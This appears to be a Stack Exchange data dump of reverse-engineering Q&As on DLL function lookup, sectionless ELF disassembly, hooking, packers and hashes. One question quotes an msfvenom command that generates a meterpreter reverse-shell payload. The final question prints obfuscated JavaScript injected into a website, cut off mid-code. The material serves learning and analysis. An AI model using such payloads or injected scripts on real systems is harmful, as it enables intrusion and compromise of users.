    Getting the available functions from within an so file is easy, you just need to parse the GOT. Understanding the input (and output) parameters is a bit more difficult, you'll need to disassemble the functions you're interested in and understand the parameters from the code.

    \n\n

    That is of course, if you don't have access to that library's SDK, which usually contain header files for all shared objects.

    \n" }, { "Id": "13826", "CreationDate": "2016-10-27T19:19:54.070", "Body": "

    I need to locate the address of a function in a DLL at runtime which isn't exported. The DLL in question is vbe7.dll related to Visual Basic (and macros). The function is ___vbaInStr, can be found in IDA if symbols are downloaded from Microsoft.

    \n\n

    Locating it in IDA to get an offset is no biggie but I want to use it in Python and be able to locate it even if it's running on other machines. The reason being that I'm using winappdbg and need to place a breakpoint on the particular function to access the arguments pushed to the stack.

    \n\n

    My theories so far have been:

    \n\n
      \n
    1. Find exported functions used close to a call to the targeted function and calculate the offset. Haven't tried it though.
      2. \n
    2. Find a instruction pattern around the call to the targeted function. This failed depending on the DLL version and compiler used.
      3. \n
    3. Look at the targeted function to locate the starting address, this failed for the same reason as above.
      4. \n
    \n\n

    So getting the address of an exported function is easy but getting the address of a non-exported function? Target is .text:102242E3.

    \n\n
    .text:10224212 ; int __stdcall sub_10224212(int, LCID Locale, VARIANTARG *, VARIANTARG *pvarSrc, int)\n.text:10224212 sub_10224212    proc near               ; CODE XREF: sub_1000B164+859p\n.text:10224212                                         ; rtcInStrChar+52p\n.text:10224212\n.text:10224212 arg_0           = dword ptr  8\n.text:10224212 Locale          = dword ptr  0Ch\n.text:10224212 arg_8           = dword ptr  10h\n.text:10224212 pvarSrc         = dword ptr  14h\n.text:10224212 arg_10          = dword ptr  18h\n.text:10224212\n.text:10224212                 mov     edi, edi\n.text:10224214                 push    ebp\n.text:10224215                 mov     ebp, esp\n.text:10224217                 push    ebx\n.text:10224218                 push    edi\n.text:10224219                 mov     edi, [ebp+pvarSrc]\n.text:1022421C                 push    edi\n.text:1022421D                 call    rtcIsNull\n.text:10224222                 test    ax, ax\n.text:10224225                 jnz     loc_10224330\n.text:1022422B                 mov     ebx, [ebp+arg_8]\n.text:1022422E                 push    ebx\n.text:1022422F                 call    rtcIsNull\n.text:10224234                 test    ax, ax\n.text:10224237                 jnz     loc_10224330\n.text:1022423D                 push    esi\n.text:1022423E                 push    8\n.text:10224240                 pop     esi\n.text:10224241                 cmp     [edi], si\n.text:10224244                 jnz     short loc_1022424B\n.text:10224246                 mov     edi, [edi+8]\n.text:10224249                 jmp     short loc_10224261\n.text:1022424B ; ---------------------------------------------------------------------------\n.text:1022424B\n.text:1022424B loc_1022424B:                           ; CODE XREF: sub_10224212+32j\n.text:1022424B                 push    edi             ; pvarSrc\n.text:1022424C                 call    sub_1006D9C8\n.text:10224251                 mov     edi, eax\n.text:10224253                 mov     eax, esi\n.text:10224255                 mov     word ptr pvarg.anonymous_0, ax ; jumptable 1000BE78 cases 56231,63056\n.text:1022425B                 mov     dword ptr pvarg.anonymous_0+8, edi ; jumptable 1000BE78 cases 56231,63056\n.text:10224261\n.text:10224261 loc_10224261:                           ; CODE XREF: sub_10224212+37j\n.text:10224261                 movzx   eax, word ptr [ebx]\n.text:10224264                 cmp     ax, si\n.text:10224267                 jnz     short loc_1022426E\n.text:10224269                 mov     eax, [ebx+8]\n.text:1022426C                 jmp     short loc_102242DB\n.text:1022426E ; ---------------------------------------------------------------------------\n.text:1022426E\n.text:1022426E loc_1022426E:                           ; CODE XREF: sub_10224212+55j\n.text:1022426E                 cmp     word ptr pvarg.anonymous_0, si ; jumptable 1000BE78 cases 56231,63056\n.text:10224275                 jnz     short loc_102242C7\n.text:10224277                 cmp     ax, 9\n.text:1022427B                 jnz     short loc_102242C7\n.text:1022427D                 xor     eax, eax\n.text:1022427F                 mov     esi, offset pvarSrc\n.text:10224284                 push    esi\n.text:10224285                 mov     word ptr pvarg.anonymous_0, ax ; jumptable 1000BE78 cases 56231,63056\n.text:1022428B                 push    dword ptr [ebx+8]\n.text:1022428E                 call    sub_1022103A\n.text:10224293                 mov     ebx, eax\n.text:10224295                 test    ebx, ebx\n.text:10224297                 jz      short loc_102242A6\n.text:10224299                 push    edi             ; bstrString\n.text:1022429A                 call    ds:__imp_SysFreeString ; jumptable 1000BE78 cases 171,16878,16935,30141,31177,32098,43703,61383,65216\n.text:102242A0                 push    ebx\n.text:102242A1                 call    sub_1005DCF1\n.text:102242A6\n.text:102242A6 loc_102242A6:                           ; CODE XREF: sub_10224212+85j\n.text:102242A6                 push    8\n.text:102242A8                 pop     eax\n.text:102242A9                 push    eax             ; vt\n.text:102242AA                 push    esi             ; pvarSrc\n.text:102242AB                 push    esi             ; pvargDest\n.text:102242AC                 mov     word ptr pvarg.anonymous_0, ax ; jumptable 1000BE78 cases 56231,63056\n.text:102242B2                 mov     dword ptr pvarg.anonymous_0+8, edi ; jumptable 1000BE78 cases 56231,63056\n.text:102242B8                 call    sub_10082A4C\n.text:102242BD                 mov     eax, dword ptr pvarSrc.anonymous_0+8\n.text:102242C2                 push    8\n.text:102242C4                 pop     esi\n.text:102242C5                 jmp     short loc_102242DB\n.text:102242C7 ; ---------------------------------------------------------------------------\n.text:102242C7\n.text:102242C7 loc_102242C7:                           ; CODE XREF: sub_10224212+63j\n.text:102242C7                                         ; sub_10224212+69j\n.text:102242C7                 push    ebx             ; pvarSrc\n.text:102242C8                 call    sub_1006D9C8\n.text:102242CD                 mov     ecx, esi\n.text:102242CF                 mov     word ptr pvarSrc.anonymous_0, cx\n.text:102242D6                 mov     dword ptr pvarSrc.anonymous_0+8, eax\n.text:102242DB\n.text:102242DB loc_102242DB:                           ; CODE XREF: sub_10224212+5Aj\n.text:102242DB                                         ; sub_10224212+B3j\n.text:102242DB                 push    [ebp+arg_10]    ; int\n.text:102242DE                 push    edi             ; LPCWSTR\n.text:102242DF                 push    eax             ; lpSrcStr\n.text:102242E0                 push    [ebp+Locale]    ; Locale\n.text:102242E3                 call    sub_10083C60 \n.text:102242E8                 mov     edi, eax\n.text:102242EA                 cmp     word ptr pvarg.anonymous_0, si ; jumptable 1000BE78 cases 56231,63056\n.text:102242F1                 jnz     short loc_10224307\n.text:102242F3                 push    dword ptr pvarg.anonymous_0+8 ; bstrString\n
    \n", "Title": "Locate address of function in DLL", "Tags": "|dll|python|breakpoint|address|", "Answer": "

    I mangaged to solve it using pefile and capstone. Finding a exported function that leads to my target (as suggested above) and then using capstone to disassemble the function and find my way to the target.

    \n\n

    In a nutshell what I did (can of course be beautified etc.):

    \n\n
    import sys\nimport pefile\nfrom capstone import Cs, CS_ARCH_X86, CS_MODE_32\n\ndll = pefile.PE(sys.argv[1])\n#dll = pefile.PE('C:\\Program Files\\Common Files\\microsoft shared\\VBA\\VBA7\\VBE7.DLL')\n\n\nfor export in dll.DIRECTORY_ENTRY_EXPORT.symbols:\n    if export.name == 'rtcInStrChar':\n        exp_addr = export.address\n        break\n\nfor imp in dll.DIRECTORY_ENTRY_IMPORT:\n    for entry in imp.imports:\n        if entry.name == 'SysFreeString':\n            imp_addr = entry.address\n            break\n            #print('0x%x - %s' % (entry.address, entry.name))\n\nmemory = dll.get_memory_mapped_image()\n\ndsm = Cs(CS_ARCH_X86, CS_MODE_32)\n\nfor op in dsm.disasm(memory[exp_addr:exp_addr + 0xA0], (exp_addr + dll.OPTIONAL_HEADER.ImageBase)):\n    if op.mnemonic == 'call':\n        last_call = op.op_str[2:]\n    if op.mnemonic == 'ret':\n        break\n    #print(\"0x%x:\\t%s\\t%s\" %(op.address, op.mnemonic, op.op_str))\n\nnext_func = int(last_call, 16) - dll.OPTIONAL_HEADER.ImageBase\n\ncalls = 0\ncall_free = 0\nfor op in dsm.disasm(memory[next_func:next_func + 0x100], (next_func + dll.OPTIONAL_HEADER.ImageBase)):\n    print(\"0x%x:\\t%s\\t%s\" %(op.address, op.mnemonic, op.op_str))\n    if op.mnemonic == 'call' and '0x%x' % imp_addr in op.op_str:\n        call_free += 1\n    if call_free == 2:\n        print('GOT IT: 0x%x' % last_call)\n        break\n    if op.mnemonic == 'call':\n        last_call = op.address\n
    \n" }, { "Id": "13829", "CreationDate": "2016-10-28T16:37:17.910", "Body": "

    I have been intrigued by reverse engineering recently and just finished Paul Carter's PC Assembly Language book (http://pacman128.github.io/static/pcasm-book.pdf) which was a great primer for x86. My first question is: What is a good intermediate level book to get a better grasp of x86 assembly? Secondly: Should I get a better grasp of the C programming language before I dive deeper into x86? At the moment I only have basic knowledge of C as well.

    \n\n

    Sorry if this is an opinion type question but I highly respect the input of people on this forum regarding this topic.

    \n", "Title": "Good foundation for reverse engineering malware", "Tags": "|disassembly|assembly|x86|malware|c|", "Answer": "

    Knowing how things in C work under the hood will help you if you're familiar with C and use it as your primary programming language, otherwise it's perfectly fine to have x86 asm as your first programing language.

    \n\n

    If you want a better understanding of the relationship between C and x86 assembly, I recommend reading the 7th chapter of Hacker disassembling uncovered (there's a free chm version online).

    \n\n

    As a reverse engineer you'll need to understand and be fluent with machine code. Knowing C might help because it's relatively low level and forces you to understand machine level concepts such as the stack, pointers, etc. Good grasp of assembly is far more important.

    \n\n

    The best way is probably to go to crackmes.de and other similar sites and starting solving challenges. some challenges there are very novice and some are extremely difficult to solve. Focus on the type of RE that interests you (malware, keygen/cracking, crypto, trainers/mods, complex programs) and once you gained enough experience get something real to work on, even just to take it up as a challenge.

    \n\n

    EDIT: crackmes.de was taken down some time ago, another decent resource is tuts4you.com's download section.

    \n" }, { "Id": "13831", "CreationDate": "2016-10-28T19:18:19.967", "Body": "

    i create elf with this command: (Dowanlod file - is elf32)

    \n\n
    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=5150 -f elf  -o ./rt\n
    \n\n

    and it works nicely, and i want disassemble it but not work:

    \n\n
    $ file ./rt\n./rt: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, corrupted section header size\n\n$ objdump -D ./rt\n\n./rt:     file format elf32-i386\n\n$ objdump -d ./rt\n\n./rt:     file format elf32-i386\n\n$ readelf -a ./rt\nELF Header:\n  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 \n  Class:                             ELF32\n  Data:                              2's complement, little endian\n  Version:                           1 (current)\n  OS/ABI:                            UNIX - System V\n  ABI Version:                       0\n  Type:                              EXEC (Executable file)\n  Machine:                           Intel 80386\n  Version:                           0x1\n  Entry point address:               0x8048054\n  Start of program headers:          52 (bytes into file)\n  Start of section headers:          0 (bytes into file)\n  Flags:                             0x0\n  Size of this header:               52 (bytes)\n  Size of program headers:           32 (bytes)\n  Number of program headers:         1\n  Size of section headers:           0 (bytes)\n  Number of section headers:         0\n  Section header string table index: 0\n\nThere are no sections in this file.\n\nThere are no sections to group in this file.\n\nProgram Headers:\n  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align\n  LOAD           0x000000 0x08048000 0x08048000 0x0009b 0x000e2 RWE 0x1000\n\nThere is no dynamic section in this file.\n\nThere are no relocations in this file.\n\nThere are no unwind sections in this file.\n\nNo version information found in this file.\n
    \n\n

    how to disassemble it?

    \n", "Title": "disassemble elf file created by msfvenom", "Tags": "|disassembly|objdump|", "Answer": "

    Use a disassembler which supports ELF files with no sections (objdump is based on BFD library which cannot handle sectionless ELFs).

    \n\n

    Alternatively, disassemble it as plain binary, not ELF (objdump -b binary -m i386 -D file.elf) though in that case you'll have to distinguish code from data on your own.

    \n" }, { "Id": "13834", "CreationDate": "2016-10-29T14:38:57.380", "Body": "

    Disclaimer: I am relatively new to this whole RE thing. So I successfully crammed some instructions into the end of an existing DLL and redirected a call.

    \n\n

    Now I actually want to do things with a function argument before calling the original code and try to OutputDebugStringA it.

    \n\n

    OutputDebugStringA is statically imported by my Dll, so I try to do the following:

    \n\n
    call dword ptr ds:[<&OutputDebugStringA>]\n
    \n\n

    This is an instruction I copy from a usage in the DLL itself.

    \n\n

    So this works and is successfully called. But, when I patch the Dll with this instruction, on the next run the address is invalid which leads to an Access Violation and crash. (See red line in picture)

    \n\n

    \"enter

    \n\n

    Why is that so? Shouldn't the IAT entry of the function be always at the same place, relative to where the Dll was loaded?

    \n\n

    And how do I fix it?

    \n\n

    Do I need complicated hacks to find the base address of my module?

    \n\n

    Or is there some sort of relative far call instruction I am stupidly not aware of?

    \n\n

    Thank you for your help.

    \n\n
    \n\n

    I think I got it now.\nSo I can't be sure that the IAT is always at the same address, not even relative to the ds segment (which makes it kinda useless in my opinion).

    \n\n

    I can however be sure that the IAT address is always a fixed relative amount away from the code I want to run.

    \n\n

    So I googled PIC techniques under x86 and ended up with this code that seems to work fine so far.

    \n\n
    push ebp\nmov ebp,esp\npush eax\npush ecx\npush edx\npush dword ptr ss:[ebp+C]\ncall <rcp-be-name.tmplbl>\npop ebx   ;@tmplbl\nlea eax,dword ptr ds:[ebx+80F] ;the relative offset\ncall dword ptr ds:[eax-5] ;dunno why 5\npop edx\npop ecx\npop eax\npush dword ptr ss:[ebp+C] ;the original arguments\npush dword ptr ss:[ebp+8] ;  ...\ncall rcp-be-name.644A97D0 ;the original function\nadd esp,8\npop ebp\nret\n
    \n\n

    Thanks a lot!

    \n", "Title": "How do I call a statically imported function from a Dll? call dword ptr ds <> not working", "Tags": "|dll|pe|function-hooking|iat|call|", "Answer": "

    It appears you've already guessed what the actual issue is - your call instruction is using direct addressing and not relative addressing. This means that when a DLL changes it's location between executions you're still trying to execute the same absolute value, resulting in different types of errors depending on the content of the actual content in that address.

    \n\n

    Specifically to your question - 0xFF 15 is an absolute, near, 4 byte immediate call. 0xFF is used for absolute calls, while 0x8E is used for relative calls (as you can see in your image, at the yellow highlighted line).

    \n\n

    Replacing the single byte 0xFF will turn the instruction to a relative instruction, meaning the call will be to $+5e01d0e4 instead of to 0x5e01d0e4. The dollar sign ($) is a conventional representation of \"the address of the next instruction\".

    \n\n

    Because how the x86 CPU (and many other CPUs) works, it is easier to first advance to the next instruction, and only then carry out any EIP modifying operations, thus having relative operations modify the EIP values of the following instruction.

    \n\n

    Replacing the four last bytes with any signed integer will make the call instruction add that number (thus negative numbers are used to call a smaller address value) to the address of the next instruction. For example, the byte code FF 15 EA FF FF FF will be translated to a six byte long instruction call $-6, creating a call that calls itself, eventually faulting on a stack overflow.

    \n\n

    A method simpler than manually editing instruction byte code could be using olly's assemble command with a $ sign to indicate a relative instruction.

    \n" }, { "Id": "13836", "CreationDate": "2016-10-29T20:54:08.127", "Body": "

    I've always been more knowledgeable about binary reversing -- x86/x64 type stuff -- so lately I decided I wanted to try reversing some flash.

    \n\n

    Used SoThink to get the .AS from a SWF, but the SWF is pulling data from a server. It's then de-obfuscating that data and .loadBytes'ing it.

    \n\n

    I've made a file of the de-obfuscated data (via FileReference.save()), but it isn't a valid, stand-alone flash file.

    \n\n

    How do I go about decompiling this dynamically-loaded flash byte array, or at least transforming it into something I can work with?

    \n\n

    EDIT for clarity:

    \n\n
    \nvar foo = new Loader(); // Is later addChild'ed  \nvar bar:LoaderContext = new LoaderContext(false, ApplicationDomain.currentDomain);\n\nfoo.contentLoaderInfo.parameters.parent = this;\nfoo.contentLoaderInfo.addEventListener(Event.COMPLETE, fooFunc);\nfoo.contentLoaderInfo.addEventListener(\"securityError\", this.onSecurityError);\nfoo.loadBytes(someByteArray, bar); // 'someByteArray' is the deobfuscated stuff from server\n
    \n\n

    In the above situation, the 'fooFunc' is never called, but based on the comments/feedback provided, it appears as though the file has already been fully loaded once 'fooFunc' happens.

    \n\n

    This leads me to believe that 'someByteArray' is binary data that is loaded dynamically into the swf, but the 'someByteArray' data is not valid SWF, if that makes sense.

    \n", "Title": "Reversing Flash Files that use .loadBytes()", "Tags": "|actionscript|flash|", "Answer": "

    Turns out this was a problem on my end.

    \n\n

    For those curious: it turns out that the file I wanted to load was a pure .SWF file. I don't have enough experience with Flash to have immediately known a Loader().loadBytes() with a data type of \"data.BINARY\" was necessarily going to be a Flash file (as opposed to some form of assembly).

    \n\n

    The file was obfuscated with an encryption scheme. The key was hardcoded. Turns out I typoed the key when I went to de-obfuscate the file. 9 hours of racking my brain later, I start over from scratch, mark the correct key, and voila: my de-obfuscated file was a standard .SWF. I decompiled it normally.

    \n\n

    Thanks for those who tried to help. Unfortunate that it turned out to be a false lead.

    \n" }, { "Id": "13844", "CreationDate": "2016-10-31T23:22:55.003", "Body": "

    Follower this question (thanks \"Igor Skochinsky\")

    \n\n

    when use\nobjdump -b binary ... we can't see correct disassemble in section-less elf file

    \n\n

    Because objdump disassemble Header and code and we see false disassemble code.

    \n\n

    What better way to do it right there?

    \n", "Title": "disassemble elf sectionless files", "Tags": "|disassembly|", "Answer": "

    I write mini ruby script for dump DATA from EP to end of file and save it to another file

    \n\n

    then we can disassemble it with objdump -b binary .. very nice

    \n\n
    $ \n$ objdump -b binary -m i386 -D RAW\n
    \n\n

    this script read ELF file and find endian mode (little or Big) then find EP and dump it

    \n\n

    in this picture we can see difference between this command's

    \n\n

    \"enter

    \n\n

    we can set and change EP from -E , and length data of dump from -l \"end-1\" or set start of dump without calculate EP with -s command

    \n\n

    [downlaod and fork me][2]

    \n" }, { "Id": "13847", "CreationDate": "2016-11-01T08:07:39.993", "Body": "

    I'm reverse-engineering a string translation file format for a particular game. It's ultimately just an ID-to-string map, where the IDs are four-byte integers. There are 1935 IDs in total; you can see them all here.

    \n\n

    The first thing that I notice is that when written in base 16, 115 of them have the first digit set to 0, roughly what you'd expect from a list of 1935 random numbers. But unlike 1935 random numbers, 19 IDs have the entire upper byte as 0, 8 have the upper three digits as 0, 6 have the upper four digits as 0, 5 have the upper five digits as 0, and one is less than 256!

    \n\n

    Furthermore, the strings with the dozen or so smallest IDs are mostly very short strings (although not all short strings have small IDs).

    \n\n

    This leads me to conclude that these numerical IDs were produced by some very weak & simple hash function operating on strings (like \"text1\" or something), where the IDs for short strings were often just the string itself.

    \n\n

    Additionally, strings that occur in sequence in the game (consecutive lines of dialogue) very often have consecutive IDs in ascending order (but not always). This makes sense if the IDs are hashes of string keys; the original strings for a given situation would presumably have looked something like \"situation_text_1\", \"situation_text_2\", and so on. A weak hash algorithm could easily have this effect.

    \n\n

    This is where I'm stuck. From what I can tell, the other files in the game refer to these strings by numerical ID, not by string IDs. I'm unsure if original string keys or the hash function itself exist anywhere in the game. As such, I don't have any way to test controlled input values -- I just have to go on those 1935 examples (plus a few more that can be found in a leftover debug file).

    \n\n

    Here are the corresponding strings for the smallest IDs. I'm skipping ones with text very specific to this particular game.

    \n\n\n\n

    Do you have any ideas about what the hash algorithm could be?

    \n", "Title": "Identifying a very weak hash algorithm", "Tags": "|static-analysis|strings|hash-functions|", "Answer": "

    I actually found the hash function today by reverse-engineering the game's code. Here it is, translated to Python:

    \n\n
    def hashFunction(data):\n    h = -1\n\n    for c in data:\n        if (c - 65) & 0xFFFFFFFF <= 0x19:\n            c |= 0x20\n\n        h = (h * 33 + c) & 0xFFFFFFFF\n\n    return h\n
    \n\n

    When run with b'5', b'10', b'25', etc., this function returns hash values seen in the table I posted. They don't match the corresponding keys in that table due to a bug in my text extraction script (oops).

    \n" }, { "Id": "13852", "CreationDate": "2016-11-02T12:41:00.407", "Body": "

    I have pulled bunch of files from Virus Total based on hashes, one sample (SHA256 == 3e6ee07c883a6a0e939300a18c61d639a0dea49521037fef09ae77b76f70f843) was really weird.

    \n\n

    Basically it is PE file (*.exe file to be more precise), however first two bytes in file are SR instead of MZ.

    \n\n

    Have been looking online if it can be some magic that can be executed in Windows machines but no success. I guess it is some kind of corrupted file, however not sure, so asking if someone has any references to SR files.

    \n", "Title": "\"SR\" instead of \"MZ\"", "Tags": "|windows|pe|", "Answer": "

    Probably it's just a measure to prevent scanning of the file by standard antiviruses. I suspect the malware either restores MZ before actually running the file, or uses a custom loader (a la RunPE) to map and execute it, and of course the custom loader can be coded to handle the SR signature in addition (or instead of) MZ.

    \n" }, { "Id": "13855", "CreationDate": "2016-11-03T08:42:32.860", "Body": "

    I'm aware, that Hex-Rays provides pseudocode, which is not supposed to be compiled, but I'm trying to do it.

    \n\n

    So far I stopped on instructions like that:

    \n\n
    char (__usercall *__fastcall sub_947770(__int64 a1, __int64 a2))@<al>(__int64 a1@<rdx>, __m128i *a2@<xmm6>);\n
    \n\n

    Those @< a1 > a1@< rdx >, etc are not recognizable by MSVC 2015 compiler. Is there any way to compile this code or to setup decompilation options to generate something more compiler-friendly?

    \n", "Title": "Compile Hex-Rays code", "Tags": "|decompilation|hexrays|", "Answer": "

    Try changing this line to:

    \n\n

    char * FASTCALL sub_947770(int64 a1, int64 a2)

    \n" }, { "Id": "13859", "CreationDate": "2016-11-03T18:29:11.617", "Body": "

    How to patch dll file packed by themida? I've dumped the unpacked file and patched it. But the program didn't recognize the unpacked dll. The original file and dumped file have ~8mb different size.

    \n\n

    I tried to patch it while running inside debugger

    \n\n

    \"enter

    \n\n

    Still no luck. Any idea how to patch it?

    \n", "Title": "Patch packed DLL by themida", "Tags": "|ida|dll|packers|patching|", "Answer": "

    Many possibilities:

    \n\n\n\n

    *P.S: you shall consider inline patching instead of unpacking the dll since your aim is to patch the dll.

    \n" }, { "Id": "13868", "CreationDate": "2016-11-05T17:10:26.440", "Body": "

    I've a couple of questions regarding this javascript code, I found injected in one of my web pages.

    \n\n
      \n
    1. What is this script doing?
      2. \n
    2. Which tool is used to pack or obfuscate this script?
      3. \n
    3. How can I learn the working of this script?
      4. \n
    \n\n

    I've used this tool: http://dean.edwards.name/unpacker/ but it returning error:

    \n\n
    \n

    error unpacking script: Unexpected token {

    \n
    \n\n
    (function(){function x(){var b=K(),a;for(a in b){var m=b[a],c;c=m;if(6!==c.length)c=!1;else{var d;d=c.match(/^[a-z0-9]+$/)?!0:!1;if(d){c=c.split(\"\");for(index=d=0;index<c.length;++index)d+=c[index].charCodeAt(0);c=465!==d?!1:!0}else c=!1}if(c&&(\"undefined\"===typeof disable_override||!disable_override))return m}return\"gie462\"}function K(){for(var b,a=/\\+/g,m=/([^&=]+)=?([^&]*)/g,c=function(b){b=b.replace(a,\" \");var c;a:{c=b;var d=\"%20 %21 %22 %23 %24 %25 %26 %27 %28 %29 %2A %2B %2C %2D %2E %2F %3A %3B %3C %3D %3E %3F %40 %5B %5C %5D %5E %5F %7B %7C %7D %7E %60\".split(\" \");\n    for(i=0;i<d.length;i++)if(-1!==c.indexOf(d[i])){c=!0;break a}c=!1}return c?decodeURIComponent(b):b},d=window.location.search.substring(1),e={};b=m.exec(d);)e[c(b[1])]=c(b[2]);return e}function q(){for(var b=document.getElementsByTagName(\"script\"),a=0;a<b.length;a++)if(-1!=b[a].src.indexOf(\"gie462\"))return b[a]}function H(b){return String.fromCharCode.apply(null,arguments)}var l={alphabet:\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\",lookup:null,ie:/MSIE /.test(navigator.userAgent),\n    ieo:/MSIE [67]/.test(navigator.userAgent),encode:function(b){b=l.toUtf8(b);var a=-1,m=b.length,c,d,e=[,,,];if(l.ie){for(var r=[];++a<m;)c=b[a],d=b[++a],e[0]=c>>2,e[1]=(c&3)<<4|d>>4,isNaN(d)?e[2]=e[3]=64:(c=b[++a],e[2]=(d&15)<<2|c>>6,e[3]=isNaN(c)?64:c&63),r.push(l.alphabet.charAt(e[0]),l.alphabet.charAt(e[1]),l.alphabet.charAt(e[2]),l.alphabet.charAt(e[3]));return r.join(\"\")}for(r=\"\";++a<m;)c=b[a],d=b[++a],e[0]=c>>2,e[1]=(c&3)<<4|d>>4,isNaN(d)?e[2]=e[3]=64:(c=b[++a],e[2]=(d&15)<<2|c>>6,e[3]=isNaN(c)?\n        64:c&63),r+=l.alphabet[e[0]]+l.alphabet[e[1]]+l.alphabet[e[2]]+l.alphabet[e[3]];return r},decode:function(b){if(b.length%4)throw Error(\"decode failed.\");b=l.fromUtf8(b);var a=0,m=b.length;if(l.ieo){for(var c=[];a<m;)128>b[a]?c.push(String.fromCharCode(b[a++])):191<b[a]&&224>b[a]?c.push(String.fromCharCode((b[a++]&31)<<6|b[a++]&63)):c.push(String.fromCharCode((b[a++]&15)<<12|(b[a++]&63)<<6|b[a++]&63));return c.join(\"\")}for(c=\"\";a<m;)c=128>b[a]?c+String.fromCharCode(b[a++]):191<b[a]&&224>b[a]?c+String.fromCharCode((b[a++]&\n        31)<<6|b[a++]&63):c+String.fromCharCode((b[a++]&15)<<12|(b[a++]&63)<<6|b[a++]&63);return c},toUtf8:function(b){var a=-1,m=b.length,c,d=[];if(/^[\\x00-\\x7f]*$/.test(b))for(;++a<m;)d.push(b.charCodeAt(a));else for(;++a<m;)c=b.charCodeAt(a),128>c?d.push(c):2048>c?d.push(c>>6|192,c&63|128):d.push(c>>12|224,c>>6&63|128,c&63|128);return d},fromUtf8:function(b){var a=-1,m,c=[],d=[,,,];if(!l.lookup){m=l.alphabet.length;for(l.lookup={};++a<m;)l.lookup[l.alphabet.charAt(a)]=a;a=-1}for(m=b.length;++a<m;){d[0]=\n        l.lookup[b.charAt(a)];d[1]=l.lookup[b.charAt(++a)];c.push(d[0]<<2|d[1]>>4);d[2]=l.lookup[b.charAt(++a)];if(64==d[2])break;c.push((d[1]&15)<<4|d[2]>>2);d[3]=l.lookup[b.charAt(++a)];if(64==d[3])break;c.push((d[2]&3)<<6|d[3])}return c}};(function(){function b(a,c){function e(g){if(e[g]!==w)return e[g];var h;if(\"bug-string-char-index\"==g)h=!1;else if(\"json\"==g)h=e(\"json-stringify\")&&e(\"json-parse\");else{var a;if(\"json-stringify\"==g){h=c.stringify;var b=\"function\"==typeof h&&t;if(b){(a=function(){return 1}).toJSON=\n    a;try{b=\"0\"===h(0)&&\"0\"===h(new l)&&'\"\"'==h(new x)&&h(u)===w&&h(w)===w&&h()===w&&\"1\"===h(a)&&\"[1]\"==h([a])&&\"[null]\"==h([w])&&\"null\"==h(null)&&\"[null,null,null]\"==h([w,u,null])&&'{\"a\":[1,true,false,null,\"\\\\u0000\\\\b\\\\n\\\\f\\\\r\\\\t\"]}'==h({a:[a,!0,!1,null,\"\\x00\\b\\n\\f\\r\\t\"]})&&\"1\"===h(null,a)&&\"[\\n 1,\\n 2\\n]\"==h([1,2],null,1)&&'\"-271821-04-20T00:00:00.000Z\"'==h(new q(-864E13))&&'\"+275760-09-13T00:00:00.000Z\"'==h(new q(864E13))&&'\"-000001-01-01T00:00:00.000Z\"'==h(new q(-621987552E5))&&'\"1969-12-31T23:59:59.999Z\"'==\n    h(new q(-1))}catch(d){b=!1}}h=b}if(\"json-parse\"==g){h=c.parse;if(\"function\"==typeof h)try{if(0===h(\"0\")&&!h(!1)){a=h('{\"a\":[1,true,false,null,\"\\\\u0000\\\\b\\\\n\\\\f\\\\r\\\\t\"]}');var B=5==a.a.length&&1===a.a[0];if(B){try{B=!h('\"\\t\"')}catch(d){}if(B)try{B=1!==h(\"01\")}catch(d){}if(B)try{B=1!==h(\"1.\")}catch(d){}}}}catch(d){B=!1}h=B}}return e[g]=!!h}a||(a=d.Object());c||(c=d.Object());var l=a.Number||d.Number,x=a.String||d.String,r=a.Object||d.Object,q=a.Date||d.Date,E=a.SyntaxError||d.SyntaxError,H=a.TypeError||\n    d.TypeError,K=a.Math||d.Math,I=a.JSON||d.JSON;\"object\"==typeof I&&I&&(c.stringify=I.stringify,c.parse=I.parse);var r=r.prototype,u=r.toString,v,D,w,t=new q(-0xc782b5b800cec);try{t=-109252==t.getUTCFullYear()&&0===t.getUTCMonth()&&1===t.getUTCDate()&&10==t.getUTCHours()&&37==t.getUTCMinutes()&&6==t.getUTCSeconds()&&708==t.getUTCMilliseconds()}catch(g){}if(!e(\"json\")){var F=e(\"bug-string-char-index\");if(!t)var y=K.floor,Q=[0,31,59,90,120,151,181,212,243,273,304,334],G=function(g,h){return Q[h]+365*\n    (g-1970)+y((g-1969+(h=+(1<h)))/4)-y((g-1901+h)/100)+y((g-1601+h)/400)};(v=r.hasOwnProperty)||(v=function(g){var h={},a;(h.__proto__=null,h.__proto__={toString:1},h).toString!=u?v=function(g){var a=this.__proto__;g=g in(this.__proto__=null,this);this.__proto__=a;return g}:(a=h.constructor,v=function(g){var h=(this.constructor||a).prototype;return g in this&&!(g in h&&this[g]===h[g])});h=null;return v.call(this,g)});D=function(g,a){var c=0,b,d,f;(b=function(){this.valueOf=0}).prototype.valueOf=0;d=\n    new b;for(f in d)v.call(d,f)&&c++;b=d=null;c?D=2==c?function(g,a){var h={},c=\"[object Function]\"==u.call(g),b;for(b in g)c&&\"prototype\"==b||v.call(h,b)||!(h[b]=1)||!v.call(g,b)||a(b)}:function(g,a){var h=\"[object Function]\"==u.call(g),b,c;for(b in g)h&&\"prototype\"==b||!v.call(g,b)||(c=\"constructor\"===b)||a(b);(c||v.call(g,b=\"constructor\"))&&a(b)}:(d=\"valueOf toString toLocaleString propertyIsEnumerable isPrototypeOf hasOwnProperty constructor\".split(\" \"),D=function(g,a){var h=\"[object Function]\"==\n    u.call(g),b,c=!h&&\"function\"!=typeof g.constructor&&m[typeof g.hasOwnProperty]&&g.hasOwnProperty||v;for(b in g)h&&\"prototype\"==b||!c.call(g,b)||a(b);for(h=d.length;b=d[--h];c.call(g,b)&&a(b));});return D(g,a)};if(!e(\"json-stringify\")){var R={92:\"\\\\\\\\\",34:'\\\\\"',8:\"\\\\b\",12:\"\\\\f\",10:\"\\\\n\",13:\"\\\\r\",9:\"\\\\t\"},z=function(g,a){return(\"000000\"+(a||0)).slice(-g)},N=function(g){for(var a='\"',b=0,c=g.length,d=!F||10<c,f=d&&(F?g.split(\"\"):g);b<c;b++){var k=g.charCodeAt(b);switch(k){case 8:case 9:case 10:case 12:case 13:case 34:case 92:a+=\n    R[k];break;default:a=32>k?a+(\"\\\\u00\"+z(2,k.toString(16))):a+(d?f[b]:g.charAt(b))}}return 